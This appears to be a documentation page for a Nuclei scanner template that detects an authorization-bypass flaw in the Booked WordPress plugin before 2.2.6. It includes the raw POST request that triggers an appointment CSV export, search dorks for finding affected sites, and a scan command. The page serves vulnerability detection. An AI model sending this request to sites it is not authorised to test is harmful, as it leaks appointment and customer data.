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Booked < 2.2.6 - Broken Authentication

ID: booked-export-csv

Severity: high

Author: random-robbie

Tags: wordpress,wpscan,wp-plugin,wp,booked,bypass

Description

Section titled “Description”

The Booked plugin for WordPress is vulnerable to authorization bypass due to missing capability checks on several functions hooked via AJAX actions in versions up to, and including, 2.2.5. This makes it possible for authenticated attackers with subscriber-level permissions and above to execute several unauthorized actions.

YAML Source

Section titled “YAML Source”
id: booked-export-csv


info:
  name: Booked < 2.2.6 - Broken Authentication
  author: random-robbie
  severity: high
  description: |
    The Booked plugin for WordPress is vulnerable to authorization bypass due to missing capability checks on several functions hooked via AJAX actions in versions up to, and including, 2.2.5. This makes it possible for authenticated attackers with subscriber-level permissions and above to execute several unauthorized actions.
  remediation: Fixed in version 2.2.6
  reference:
    - https://codecanyon.net/item/booked-appointments-appointment-booking-for-wordpress/9466968
    - http://boxyupdates.com/changelog.php?p=booked
    - https://wpscan.com/vulnerability/10107
  classification:
    cpe: cpe:2.3:a:twinkletoessoftware:booked:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: twinkletoessoftware
    product: booked
    fofa-query: "wp-content/plugins/booked/"
    publicwww-query: "/wp-content/plugins/booked/"
    google-query: inurl:"/wp-content/plugins/booked/"
  tags: wordpress,wpscan,wp-plugin,wp,booked,bypass


http:
  - raw:
      - |
        POST /wp-admin/admin-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8


        booked_export_appointments_csv=


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "End Time"
          - "Start Time"
          - "Calendar"
        condition: and


      - type: word
        part: header
        words:
          - text/csv


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/booked-export-csv.yaml"

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